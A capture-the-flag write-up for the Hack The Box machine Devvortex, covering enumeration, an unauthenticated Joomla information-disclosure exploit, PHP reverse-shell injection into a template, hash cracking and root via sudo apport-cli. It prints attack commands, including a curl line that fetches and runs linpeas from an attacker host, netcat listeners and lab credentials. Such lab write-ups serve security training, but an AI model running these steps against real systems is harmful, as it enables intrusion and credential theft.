CTF··5 min read

HTB Devvortex: From Joomla Info Disclosure to Root

Joomla Information Disclosure Exploitation

A complementary Joomla compromise path through administrator access and template execution appears in HTB Curling: Joomla RCE to Curl Config File Abuse.

Linux Privilege Escalation via Apport-cli

Add machine ip to /etc/hosts

/etc/hosts file open in text editor with entry for devvortex.htb pointing to 10.10.11.242

Check whether target is alive or not.

ping vortex.htb

Terminal output of ping devvortex.htb showing replies with time=63.2 ms and TTL=63

Begin with fast port scan:

nmap -p- --min-rate 5000 -T4 vortex.htb

No results obtained:

Terminal output of nmap -p- --min-rate 5000 -T4 devvortex.htb showing no results, likely due to no -Pn flag

Forgot -Pn flag. Added it:

nmap -p- --min-rate 5000 -T4 -Pn vortex.htb

It took a lot time to complete, so a normal service + default script scan worked better:

sudo nmap -sV -sC vortex.htb

Terminal output of sudo nmap -sV -sC devvortex.htb showing open ports 22, 80, and 443 with service versions

When I tried to reach vortex.htb through port 80 it automatically changed the domain name to devvortex.htb, so updated /etc/hosts.

Terminal output of cat /etc/hosts showing updated entry for devvortex.htb and dev.devvortex.htb

Found an email on the page: info@DevVortex.htb

whatweb http://devvortex.htb

Terminal output of whatweb http://devvortex.htb showing title, HTTPServer, and other web technologies

Started directory fuzzing:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://devvortex.htb/FUZZ

Obtained trash results:

Terminal output of ffuf directory fuzzing on devvortex.htb showing many 200 responses with size 0, indicating trash results

A valuable resource suggested that ffuf can be used to discover subdomains via VHOST option:

ffuf -w subdomains.txt -u http://website.com/ -H "Host: FUZZ.website.com"

Reference

Had a wrong quotation mark format at first:

Fixed it. Results were noisy, so added -mc 200:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -mc 200

Discovered dev subdomain:

Terminal output of ffuf vhost fuzzing showing dev.devvortex.htb with status 200 and size 23264

Added dev.devvortex.htb to /etc/hosts:

Terminal output of cat /etc/hosts showing added dev.devvortex.htb entry

Source code revealed 2 emails: info@Devvortex.htb and contact@devvortex.htb

Fuzzed the subdomain:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dev.devvortex.htb/FUZZ

Found /administrator. A Joomla login panel:

Web browser showing dev.devvortex.htb homepage with source code view revealing email addresses info@Devvortex.htb and contact@devvortex.htb
Joomla administrator login page at dev.devvortex.htb/administrator with username and password fields

Ran JoomScan to enumerate:

perl joomscan.pl -u http://dev.devvortex.htb

Terminal output of perl joomscan.pl -u http://dev.devvortex.htb showing Joomla version 4.2.6 and other details

Detected Joomla 4.2.6. Searched for exploits and found CVE-2023–23752. An unauthenticated information disclosure.

Installed dependencies and ran it:

gem install httpx paint docopt ruby exploit.rb http//dev.devvortex.htb

Terminal output of ruby exploit.rb http://dev.devvortex.htb showing database credentials lewis:P4ntherg0t1n5r3c0n##

Got DB credentials without any auth:

Terminal output of ruby exploit.rb http://dev.devvortex.htb showing database credentials lewis:P4ntherg0t1n5r3c0n##

lewis:P4ntherg0t1n5r3c0n##

Logged into Joomla admin panel:

Joomla admin panel dashboard after login, showing control panel and menu options

I changed logan paul user’s password to loganpaul1234 (this becomes relevant later as a mistake).

System uses PHP backend, so I went to System → Templates → Cassiopeia and injected Ivan Sincak’s PHP reverse shell:

Joomla admin panel showing template editor for Cassiopeia with PHP code inserted
Joomla admin panel showing template editor for Cassiopeia with PHP code inserted
Joomla admin panel showing template editor for Cassiopeia with PHP code inserted
Joomla admin panel showing template editor for Cassiopeia with PHP code inserted

Set up listener and got reverse shell:

penelope -p 3131

Terminal output of penelope -p 3131 showing reverse shell connection from 10.10.11.242

Penelope auto-upgraded the shell using python3:

Terminal output of penelope showing upgraded shell to python3 and current user www-data

Could not read user flag as www-data:

www-data@devvortex:/home/logan$ cat user.txt cat: user.txt: Permission denied

Terminal output of cat user.txt as www-data showing Permission denied

Since I did not have www-data pass I could not show which commands I can run as www-data. Transferred linpeas.sh to /tmp/:

curl http://10.10.16.64:1212/linpeas.sh -o linpeas.sh chmod +x linpeas.sh ./linpeas.sh

Penelope crashed during linpeas execution, had to fall back to netcat:

Terminal output of curl and chmod for linpeas.sh, and execution of linpeas.sh

nc -lvnp 3131

Terminal output of nc -lvnp 3131 showing reverse shell connection

Already got MySQL creds from earlier. Dumped credentials from Joomla DB:

mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -e "SELECT username,password FROM joomla.sd4fg_users;"

Terminal output of mysql command selecting username and password from joomla.sd4fg_users showing two hashes

Got both hashes:

lewis $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u logan $2y$10$PdT9Cyemx.F.tO8qFPEkQ.ca13bOgmMwP.VNEPZZJowSBTkd6bDp.

Terminal output of mysql command showing two bcrypt hashes for lewis and logan

Most probably bcrypt. Tried hashes.com first:

Web browser showing hashes.com website with hash input and result indicating bcrypt

Then checked via hash-identifier ,yet no clear results:

Terminal output of hash-identifier showing possible hash types including bcrypt

Tried cracking with john but the hash wouldn’t crack. Mistake: I had changed logan’s password earlier through Joomla panel, so the hash in the DB was my modified one. It was not the original.

Terminal output of john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=bcrypt showing cracked password tequieromucho

After realizing the mistake, retrieved the original hash and cracked it successfully:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=bcrypt

Terminal output of john showing cracked password tequieromucho for logan

logan:tequieromucho

SSH’d in as logan:

Terminal output of ssh logan@devvortex.htb and cat user.txt showing flag

Got user.txt from /home/logan/user.txt.

Checked sudo privileges ,sı logan can run apport-cli:

Terminal output of sudo -l showing logan can run apport-cli as root

GTFOBins shows apport-cli opens less which can spawn a shell:

sudo apport-cli -f 1 2 v

Steps:

  1. Display (Enter)
  2. Freezes (Enter)
  3. View Report → opens less
  4. In less, type !/bin/bash → root shell
Terminal output of sudo apport-cli -f 1 2 v showing interactive menu and less prompt
Terminal output of sudo apport-cli -f 1 2 v showing interactive menu and less prompt
Terminal output of sudo apport-cli -f 1 2 v showing interactive menu and less prompt
Terminal output of sudo apport-cli -f 1 2 v showing interactive menu and less prompt

Got root:

cat /root/root.txt

Terminal output of cat /root/root.txt showing root flag